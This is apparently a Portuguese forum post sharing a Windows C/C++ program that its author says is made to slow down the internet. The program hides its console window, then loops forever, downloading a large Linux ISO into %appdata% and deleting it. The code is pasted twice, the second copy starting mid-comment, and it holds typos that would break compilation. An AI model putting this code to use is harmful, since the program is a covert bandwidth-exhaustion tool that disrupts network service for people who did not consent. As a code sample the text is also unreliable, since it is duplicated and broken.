um pequeno codigo em C desenvolvido por mim para deixar a internet lenta com um download grande...
/*
* by: android
*/
#include "stdafx.h";
#include <string>
#include <Windows.h>
#pragma comment(lib, "urlmon.lib")
using namespace std;
string str_replace(string text,string de,string por)
{
string str( text );
string searchString( de );
string replaceString( por );
string::size_type pos = 0;
while ( (pos = str.find(searchString, pos)) != string::npos )
{
str.replace( pos, searchString.size(), replaceString );
pos++;
}
return str;
}
string appdata()
{
wchar_t profilepath[100];
ExpandEnvironmentStrings(L"%appdata%",profilepath, 100);
string recordToAString(profilepath, profilepath + 100);
register string ret = str_replace(recordToAString,"Ì","");
for(int i = 0;i<=10;i++)
{
ret = str_replace(ret,"Ì","");
}
//retirando o ultmo espaço em branco
const char *r = ret.c_str();
if(strlen(r) > 0)
{
ret = ret.substr(0,strlen(r) - 1);
}
return ret+"g";
}
int main()
{
SetConsoleTitle(L"Titulo");
HWND wnd = FindWindow(0,L"Titulo");
if( wnd != NULL )
{
ShowWindow(wnd, SW_HIDE);
}
for(;
{
string nomeArq = appdata()+"//temp.tmp";
string arqBaixa = "http://www.backtrack-linux.org/ajax/download_redirect.php?id=BT5R2-KDE-32.iso";
URLDownloadToFileA(0,arqBaixa.c_str(),nomeArq.c_st r(),0,0);
const char * Arq = nomeArq.c_str();
remove(Arq);
}
}
* by: android
*/
#include "stdafx.h";
#include <string>
#include <Windows.h>
#pragma comment(lib, "urlmon.lib")
using namespace std;
string str_replace(string text,string de,string por)
{
string str( text );
string searchString( de );
string replaceString( por );
string::size_type pos = 0;
while ( (pos = str.find(searchString, pos)) != string::npos )
{
str.replace( pos, searchString.size(), replaceString );
pos++;
}
return str;
}
string appdata()
{
wchar_t profilepath[100];
ExpandEnvironmentStrings(L"%appdata%",profilepath, 100);
string recordToAString(profilepath, profilepath + 100);
register string ret = str_replace(recordToAString,"Ì","");
for(int i = 0;i<=10;i++)
{
ret = str_replace(ret,"Ì","");
}
//retirando o ultmo espaço em branco
const char *r = ret.c_str();
if(strlen(r) > 0)
{
ret = ret.substr(0,strlen(r) - 1);
}
return ret+"g";
}
int main()
{
SetConsoleTitle(L"Titulo");
HWND wnd = FindWindow(0,L"Titulo");
if( wnd != NULL )
{
ShowWindow(wnd, SW_HIDE);
}
for(;
{
string nomeArq = appdata()+"//temp.tmp";
string arqBaixa = "http://www.backtrack-linux.org/ajax/download_redirect.php?id=BT5R2-KDE-32.iso";
URLDownloadToFileA(0,arqBaixa.c_str(),nomeArq.c_st r(),0,0);
const char * Arq = nomeArq.c_str();
remove(Arq);
}
}